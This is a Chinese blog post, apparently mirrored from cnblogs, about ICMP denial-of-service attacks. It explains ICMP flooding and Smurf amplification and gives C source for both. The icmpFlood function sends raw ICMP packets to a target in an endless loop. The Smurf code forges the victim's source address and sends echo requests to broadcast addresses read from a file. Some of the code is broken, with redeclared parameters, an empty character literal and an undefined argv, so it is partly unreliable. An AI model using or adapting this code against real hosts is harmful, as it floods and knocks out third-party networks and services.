zoukankan      html  css  js  c++  java
  • ICMP拒绝服务攻击(原始套接字系列四)

    拒绝服务攻击(DoS)企图通过使被攻击的计算机资源消耗殆尽从而不能再提供服务,拒绝服务攻击是最容易实施的攻击行为。中美黑客大战中的中国黑客一般对美进行的就是拒绝服务攻击,其技术手段大多不够高明。

      ICMP实现拒绝服务攻击的途径有二:一者"单刀直入",一者"借刀杀人"。具体过程分析如下:
      
      ICMP FLOOD攻击

      大量的 ICMP消息发送给目标系统,使得它不能够对合法的服务请求做出响应。中美黑客大战中的多数中国黑客采用的正是此项技术。ICMP FLOOD攻击实际上是一种两败俱伤的攻击方式,在主机"疯狂"地向攻击目标发送ICMP消息的时候,主机也在消耗自身的系统资源。如果自身的网络资源小于目标的话,这种攻击就是"蚍蜉撼大树"。因此,ICMP FLOOD攻击为了达到很好的效果,往往要联合多台机器同时攻击同一台机器,从而形成分布式拒绝服务攻击(DDoS)。

      调用下面的程序可实现ICMP Flood攻击:

    int icmpFlood(int PacketSize, char *DestIp, int type, int code)
    {
     int datasize, ErrorCode;
     int TimeOut = 2000, SendSEQ = 0, PacketSize = 32, type = 8, code = 0, counter = 0;
     char SendBuf[65535] = { 0 };
     WSADATA wsaData;
     SOCKET SockRaw = (SOCKET)NULL;
     struct sockaddr_in DestAddr;
     ICMP_HEADER icmp_header; 
     if (PacketSize > 65500)
     {
      return FALSE;
     }

     if (type > 16)
     {
      return FALSE;
     }

     if ((ErrorCode = WSAStartup(MAKEWORD(2, 1), &wsaData)) != 0)
     {
      return FALSE;
     }

     if ((SockRaw = WSASocket(AF_INET, SOCK_RAW, IPPROTO_ICMP, NULL, 0,WSA_FLAG_OVERLAPPED)) == INVALID_SOCKET)
     {
      return FALSE;
     }

     ErrorCode = setsockopt(SockRaw, SOL_SOCKET, SO_SNDTIMEO, (char*) &TimeOut,sizeof(TimeOut));
     if (ErrorCode == SOCKET_ERROR)
     {
      return FALSE;
     }

     printf("Starting... ");
     memset(&DestAddr, 0, sizeof(DestAddr));
     DestAddr.sin_family = AF_INET;
     DestAddr.sin_addr.s_addr = inet_addr(DestIp);

     icmp_header.i_type = type;
     icmp_header.i_code = code;
     icmp_header.i_cksum = 0;
     icmp_header.i_id = 2;
     icmp_header.timestamp = GetTickCount();
     icmp_header.i_seq = 999;
     memcpy(SendBuf, &icmp_header, sizeof(icmp_header));
     memset(SendBuf + sizeof(icmp_header), 'E', PacketSize);
     icmp_header.i_cksum = checksum((unsigned short*)SendBuf, sizeof(icmp_header) + PacketSize);

     datasize = sizeof(icmp_header) + PacketSize;

     while (1)
     {
      printf("Sending 1024 packets... ");
      for (counter = 0; counter < 1024; counter++)
      {
       ErrorCode = sendto(SockRaw, SendBuf, datasize, 0, (struct sockaddr*) &DestAddr, sizeof(DestAddr));
       if (ErrorCode == SOCKET_ERROR)
        printf(" Send Error:%d ", GetLastError());
      }
     }

     if (SockRaw != INVALID_SOCKET)
      closesocket(SockRaw);
     WSACleanup();
     return TRUE;
    }

    ICMP SMURF

      攻击者向许多地址发送ICMP Echo Request,但是它却告诉这些地址ICMP Echo Request不是它自己发的,而是"某某"发的,这个"某某"就会成为"众矢之的"。通过伪装目的主机的IP地址,向多个IP 网络的广播地址发送ICMP Echo Request数据包,使得目的主机需要消耗大量CPU 资源和有效带宽来处理来自众多节点的ICMP Reply数据包。该攻击的原理如下图:



      从图中可以看出,带宽仅为128Kbps的攻击者可以击溃带宽比其更大(512Kbps)的目标,因为ICMP SMURF采用的手段是"借刀杀人"!它本身并不向目标发送ICMP消息,而是向许多远程主机"诬告"攻击目标向他们发送了ICMP Echo,于是这些远程主机纷纷向攻击目标发送ICMP Reply,导致攻击目标崩溃。有明一代名将袁崇焕督师就是因为满人的反间计而被崇祯凌迟,并被当时的北京市民争其肉而食的。网络攻击中的"借刀杀人"照样威力无穷。

      一个实现ICMP SMURF的程序框架如下:

    void icmpSmurf(void)
    {
     struct sockaddr_in sin;
     struct hostent *he;
     FILE *bcastfile;
     int i, sock, bcast, delay, num, pktsize, cycle = 0, x;
     char buf[32], **bcastaddr = malloc(8192);

     //…
     memcpy((caddr_t) &sin.sin_addr, he->h_addr, he->h_length);
     sin.sin_family = AF_INET;
     sin.sin_port = htons(0);
     //…

     x = 0;
     while (!feof(bcastfile))
     {
      fgets(buf, 32, bcastfile);
      if (buf[0] == '#' || buf[0] == ' ' || !isdigit(buf[0]))
       continue;
      for (i = 0; i < strlen(buf); i++)
       if (buf[i] == ' ')
        buf[i] = '';
        bcastaddr[x] = malloc(32);
        strcpy(bcastaddr[x], buf);
        x++;
     } 
     bcastaddr[x] = 0x0;
     fclose(bcastfile);

     if (x == 0)
     {
      fprintf(stderr, "ERROR: no broadcasts found in file %s ", argv[2]);
      exit( - 1);
     }
     if (pktsize > 1024)
     {
      fprintf(stderr, "ERROR: packet size must be < 1024 ");
      exit( - 1);
     }

     if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
     {
      perror("getting socket");
      exit( - 1);
     }
     setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char*) &bcast, sizeof(bcast));

     printf("Flooding %s (. = 25 outgoing packets) ", argv[1]);

     for (i = 0; i < num || !num; i++)
     {
      if (!(i % 25))
      {
       printf(".");
       fflush(stdout);
      }
      smurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize);
      cycle++;
      if (bcastaddr[cycle] == 0x0)
       cycle = 0;
      usleep(delay);
     }
     puts(" ");
     return 0;
    }


      其中调用的smurf()函数为:

    void smurf(int sock, struct sockaddr_in sin, u_long dest, int psize)
    {
     struct iphdr *ip;
     struct icmphdr *icmp;
     char *packet;

     packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
     ip = (struct iphdr*)packet;
     icmp = (struct icmphdr*)(packet + sizeof(struct iphdr));

     memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);

     ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
     ip->ihl = 5;
     ip->version = 4;
     ip->ttl = 255;
     ip->tos = 0;
     ip->frag_off = 0;
     ip->protocol = IPPROTO_ICMP;
     ip->saddr = sin.sin_addr.s_addr;
     ip->daddr = dest;
     ip->check = in_chksum((u_short*)ip, sizeof(struct iphdr));
     icmp->type = 8;
     icmp->code = 0;
     icmp->checksum = in_chksum((u_short*)icmp, sizeof(struct icmphdr) + psize);

     sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize, 0,
    (struct sockaddr*) &sin, sizeof(struct sockaddr));

     free(packet); 
    }

  • 相关阅读:
    【halcon】学习记录
    【QT】常用类
    【QT】宏
    机器视觉名词解释
    单元测试
    【MFC】VS2017新建完MFC后,没有界面,只有代码
    【MFC】学习与问题整合
    函数重载(overload)和函数重写(override)
    工作记录+反思
    【转】MapReduce:默认Counter的含义
  • 原文地址:https://www.cnblogs.com/happy-pm/p/3809466.html
Copyright © 2011-2022 走看看